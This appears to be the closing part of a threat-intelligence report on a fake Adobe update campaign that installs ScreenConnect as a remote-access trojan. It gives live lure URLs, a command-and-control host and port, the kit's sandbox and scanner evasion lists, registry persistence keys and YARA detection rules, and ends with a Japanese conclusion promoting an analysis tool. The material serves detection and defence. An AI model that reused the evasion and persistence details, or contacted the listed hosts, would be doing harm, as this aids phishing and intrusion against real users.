                  Cisco Secure Web, Proofpoint URL Defense, Proofpoint pstmrk.it,
                  Microsoft Safe Links (EUR04/NAM04), Mimecast
  Confirmed live entry point:
    https://dcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online/
  Stage 1 (CAPTCHA gate) -> Stage 2 (fake update page):
    https://charterkc-sns-notifications.s3.eu-central-1.amazonaws.com/Adobe_Reader_Update
  Note: direct requests without a completed CAPTCHA are redirected to the
        genuine proofpoint.com website (cloaking / anti-analysis)
CAPTCHA gate artifacts (host-agnostic, reusable across the kit's domains):
  Verify endpoint:    POST /__cre/verify   (JSON response, next stage in .url)
  Divert on failure:  https://www.proofpoint.com/us/products/365-total-protection
  localStorage key:   __bg_bid   (base64 JSON, persistent browser id)
  Honeypot field:     input[name="email_address"] positioned at left:-10000px
  Page title:         Verify you are human
  Favicon:            https://www.google.com/favicon.ico (hotlinked from Google)
  Address-bar rewrite: history.replaceState to a fake googleadservices click URL
                       on www.googleadservices.com.secure-web.cisco.com.<domain>
  Recipient email:    passed in the URL fragment, decoded as plaintext/hex/base64url
  Timings:            ARM_MS=900, HOLD_MS_TARGET=1800 (hold also carried in token)
  Automation markers:
    navigator flag: navigator.webdriver
    document prefixes: $cdc_, $wdc_, __webdriver, __selenium, __driver
    globals: cdc_adoQpoasnfa76pfcZLmcfl_Array,
             cdc_adoQpoasnfa76pfcZLmcfl_Window,
             __lastWatirAlert, __webdriver_unwrapped
    Chrome DevTools Protocol probe: getter on Error.stack
  User-agent denylist:
    Email security: proofpoint, ppurldpf, urldefense, urlprotect, safelinks,
                    mimecast, barracuda, fireeye, trellix, mandiant, ironport,
                    sophos, fortinet, trendmicro, symantec, zscaler, netskope
    Sandboxes: virustotal, urlscan, hybrid-analysis, joe sandbox, cuckoo,
               any.run, cape sandbox, filescan, threat analyzer
    Automation: headlesschrome, puppeteer, playwright, phantomjs, crawler,
                spider, scanner, probe, sitecheck
    HTTP clients: curl/, wget/, python-requests, go-http-client, axios/,
                  scrapy, httpx
Persistence:
  Registry (dropper):  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SmartScreenEnabled = Off
  Registry (dropper):  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateService
  Registry (payload):  SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ScreenConnect Client (5bab5a88e37ba90e)
  Registry (payload):  SYSTEM\CurrentControlSet\Control\Lsa
                       Authentication Packages += ScreenConnect.WindowsAuthenticationPackage.dll
  Registry (payload):  Software\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-AA13-7B50E75AC37A}
  Registry (payload):  CLSID\{6FF59A85-BC37-4CD4-AA13-7B50E75AC37A}\InprocServer32
                       -> ScreenConnect.WindowsCredentialProvider.dll
  Registry (payload):  HKCR\sc-5bab5a88e37ba90e (custom URL protocol handler)
Filesystem:
  %TEMP%\AdobeUpdate.msi   (deleted after silent install)

rule FakeUpdate_ScreenConnect_VBS_Downloader {
    meta:
        description = "VBScript downloader masquerading as Adobe Reader Installer; disables SmartScreen and silently installs a ScreenConnect payload"
        author      = "Beelzebub Research"
        date        = "2026-08-13"
        reference   = "https://beelzebub.ai/blog/fake-update-screenconnect-email-security-spoofing"
    strings:
        $s1 = "AdobeUpdateService" ascii
        $s2 = "SmartScreenEnabled" ascii
        $s3 = "MSXML2.XMLHTTP" ascii
        $s4 = "msiexec" ascii nocase
        $s5 = "On Error Resume Next" ascii
        $s6 = "ScreenConnect.ClientSetup.msi" ascii
    condition:
        4 of them
}
rule ScreenConnect_Abused_RAT_Config {
    meta:
        description = "Detects ScreenConnect client config repurposed as a RAT via non-official relay host"
        author      = "Beelzebub Research"
        date        = "2026-08-13"
        reference   = "https://beelzebub.ai/blog/fake-update-screenconnect-email-security-spoofing"
    strings:
        $host = "h=sancaktextile.com" ascii
        $port = "p=8041" ascii
        $sc   = "ScreenConnect.WindowsBackstageShell.exe" ascii
    condition:
        $sc and ($host or $port)
}

結論

本キャンペーンは、一つの巧妙な偽装だけに頼っているわけではありません。それは借用された信頼のリレーを組み立てています。ホスト名にはCiscoとProofpoint、CAPTCHAにはGoogle、アップデートのプロンプトにはAdobe、ステージング用URLにはAmazon、そしてインストールされるバイナリにはConnectWiseの名が使われています。それぞれの見慣れた名称が、被害者が次に抱く疑念に対する答えを用意する一方で、本当に重要な唯一のドメインと、意図を明らかにする唯一の設定情報は、見過ごされやすいまま残されているのです。

だからこそ、粗雑なAdobeページの存在は矛盾ではありません。攻撃者は、正しい訪問者に到達すること、解析システムを排除すること、実行後もリモートアクセスを維持することに投資を注いでいます。中間の画面が果たすべき役割は、あらかじめ選定された人物をダウンロードからダブルクリックへと動かすことだけです。その中で最も効果的な一文は、偽のロゴではなく「プロンプトが表示されたらYesをクリック」であり、これは予想通りに現れるWindowsの警告を、指示が正しく機能している証拠へと変換してしまうのです。

ドメイン、ファイルハッシュ、RSA鍵のいずれについても、解析当時は公開情報が一切存在していませんでした。偽アップデートと悪用されたRMMツールは、それ自体はありふれたカテゴリです。しかし、これらのカテゴリを一つのチェーンへと組み合わせたこのインフラの構成は、これまでにない新しいものでした。

Caronteがこの調査を可能にした理由

今回の調査では、ちょうど一箇所において手動での介入が必要でした。そしてどの箇所がそれに該当するかを特定することが、こうしたキャンペーンがどのように存続し続けているのかを浮き彫りにしています。

CAPTCHAゲートは自動的な取得を阻止するよう設計されており、実際にその目的を果たしています。URLだけでは不十分であり、これらのサブドメインのいずれかをどの解析プラットフォームに提出しても、返ってくるのはクローキングされたレスポンス、すなわち本物のProofpointのウェブサイトです。この課題を突破し、ペイロードのURLが見えるようになるまで誘導ページをたどるには人間の操作者が必要であり、どれだけ自動化を進めてもこの制約を取り除くことはできません。

しかし、このゲートが守っているのは発見の過程であり、ペイロード自体ではありません。一度の手動アクセスによってステージング用URLが露出してしまえば、そこから先のチェーンはすべて公然とアクセス可能な状態です。両方のS3の場所は、通常のリクエストに対して認証チャレンジもクローキングもなしに200 OKを返します。そしてこの記事の執筆時点においても、その状態は変わっていません。

その先の処理はすべて自動化されていました。CaronteはこのVBScriptを解析し、その挙動と侵害指標を抽出した上で、スクリプトに埋め込まれたダウンロードURLを追跡し、MSIファイルを取得し、独立したリバースエンジニアリングのキューに登録し、二つのサンプルを紐付け、そして生成された要約の中でsancaktextile.com:8041と埋め込まれたRSA鍵を報告しました。本レポートで公開されたC2アドレスは、標的を絞った検索によって見つかったものではなく、自動解析の結果として自然に浮かび上がってきたものです。

多くの脅威インテリジェンス業務における制約は、分析的な判断力そのものではなく、判断を下せる段階に到達するまでにかかる時間です。Caronteはその所要時間を、数時間単位から数分単位へと短縮します。ただし、このキャンペーンが要求するように設計された、たった一度の人間による介入までは排除できません。

Caronteの仕組みについて詳しく見る